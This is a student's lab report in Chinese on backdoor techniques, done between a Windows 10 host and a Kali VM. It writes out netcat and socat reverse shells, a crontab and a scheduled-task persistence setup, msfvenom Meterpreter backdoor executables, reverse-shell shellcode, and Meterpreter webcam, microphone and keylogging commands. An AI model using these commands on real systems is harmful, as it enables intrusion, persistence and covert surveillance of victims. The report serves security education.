Exp2 后门原理与实践
Exp2 后门原理与实践
目录
一、基础问题
1. 例举你能想到的一个后门进入到你系统中的可能方式?
在网上下载一些软件时,可能是以压缩包形式下载的。压缩包内一般会有很多配置文件或可执行文件,如果其中内藏有后门程序的话一般是难以发现的。
2. 例举你知道的后门如何启动起来(win及linux)的方式?
在windows下可以通过将后门启动程序设置为开机启动项或设置任务触发的方式启动后门,在linux下可以通过crontab设置定时启动,将后门捆包到程序上等方式。
3. Meterpreter有哪些给你印象深刻的功能?**
啪的一下就给我拍了个照,还录下了奇怪的声音。另外,检测键盘输入记录感觉很有用。
4. 如何发现自己的系统有没有被安装后门?
打开防火墙和安全管家,定期查杀漏洞和恶意软件,查看有没有奇怪的自启动项和没有必要打开的端口
二、实验总结与体会
在本次实验中,我掌握了后门的基本原理,并学会使用netcat、socat、cron、Meterpreter等常用后门软件获取电脑的权限。
通过本次实验,我对后门程序的可怕之处深有体会,同时也对Windows防火墙和无处不在的安全管家心有余悸。在实验中也遇到了一些问题,基本都在室友的帮助下完成了,不过在使用nc传输文件时遇到了一些难以解决的问题,非常痛苦,找时间从头来过吧。
三、实践过程记录
在Win10主机和Kali虚拟机中完成实验
准备工作
1 Win获得Linux Shell
- 打开windows terminal,输入ipconfig找到WLAN所分配的IP地址,得知Win10主机的ip地址为
192.168.31.48
- windows命令行下输入指令监听8888端口
PS D:\ncat> .\ncat.exe -l -p 8888
- kali中使用nc指令连接主机的8888端口
┌──(root💀lcx20181214)-[~]
└─ nc 192.168.31.48 8888 -e /bin/sh
- windows下获得一个linux shell,可运行任何指令,如ls
2 Linux获得Win Shell
- 在Kali中使用
ip addr
查看IP
- kali终端中输入nc监听8888端口
┌──(root💀lcx20181214)-[~]
└─ nc -l -p 8888
- windows主机下连接kali的8888端口
PS D:\ncat> ncat.exe -e cmd.exe 192.168.31.92 8888
- kali下获得一个windows shell,可运行任何指令,如dir
可能出现的问题
可能是由于使用VirtualBox的原因(同组使用VMWare的同学未出错),一开始在虚拟机NAT模式下无法连接。在组长王浩博同学的帮助下,设置虚拟机桥接网卡后成功,kali虚拟机的ip地址为192.168.31.922
3 使用nc传输数据
- windows下监听端口,Kali连接端口后,两端可直接传输文本
- 利用重定向符还可将发送文件,如下图为Kali端向Win10端发送txt文件
实验内容
1 使用netcat获取主机操作Shell,cron启动
-
在Windows下监听11214端口
PS D:\ncat> ncat.exe -l -p 11214
-
在Kali虚拟机下使用crontab指令增加定时任务
┌──(root💀lcx20181214)-[~] └─ crontab -e
此时时间为12:14,则在所打开文件的最后一行添加
15 * * * * /bin/netcat 192.168.31.48 11214 -e /bin/sh
15表示每时15分时则会自启,连接主机ip192.168.31.48的11214端口
-
在12:15时,win10端就自动获得kali的shell
2 使用socat获取主机操作Shell, 任务计划启动
Windows徽标键+R
后输入compmgmt.msc打开计算机管理(直接在搜索框里搜也可以)
- 在系统工具中的任务计划程序中创建任务
- 设置任务名称,并新建触发器和操作
- 任务名称方便查找即可
- 触发器设置为“工作站锁定时”(是不是有那味了)
- 操作设置为启动程序
socat.exe
,并添加参数````tcp-listen:11214 exec:cmd.exe,pty,stderr```,这个命令的作用是把cmd.exe
绑定到端口11214
,同时把cmd.exe
的stderr
重定向
- 创建完之后按
Windows+L
锁定计算机(工作台),再次打开时由于防火墙没关弹出了UAC警报
- 允许后在kali中输入指令
┌──(root💀lcx20181214)-[~]
└─# socat - tcp:192.168.31.48:11214
- 第二次锁定启动后windows中弹出了
socat
窗口,Kali中获得了cmd shell
3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- kali上执行如下指令生成了后门程序
20181214_backdoor.exe
┌──(root💀lcx20181214)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
- Windows打开监听,Kali将程序传过去
- 程序传输成功
- Kali上输入
msfconsole
指令进入MSF控制台
┌──(root💀lcx20181214)-[~/netclass/Exp2]
└─# msfconsole
- 之后输入如下指令进行配置
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.31.92 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 11214
- 具体显示和配置情况如下图
- Kali下输入指令
exploit
监听,在Windows下点击后门程序后,Kali中获得shell
4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令进行录音、使用webcam_snap
拍照,使用keysan_start
获取击键记录(-d可设置时长)
- run webcam可以进行屏幕录制,比较诡异的是相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
MSF生成shellcode
-
在前人的博客里发现指令
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
将对应的参数更改后为
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -x pwn1 -f elf > 20181214
将pwn1放在当前文件夹后执行生成后门文件
-
之后输入
msfconsole
进入MSF控制台进行配置后监听,再开一个终端运行后门程序,获得shell
生成shellcode补充
一开始对实验要求理解有误,参考陈少卿同学的exp2完成了实验
-
使用如下指令生成shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.31.93 LPORT=11214 -f c [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 68 bytes Final size of c file: 311 bytes unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x1f\x5d\x68" "\x02\x00\x2b\xce\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
参考实验一Exp1 PC平台逆向破解#4-注入shellcode并执行部分增加填充、返回地址和空指令
打开msfconsole,将环境配置成和生成shellcode时要求的一样
msf中使用exploit
监听,并在另一终端中将shellcode传入pwn1执行,可看到msf中获取权限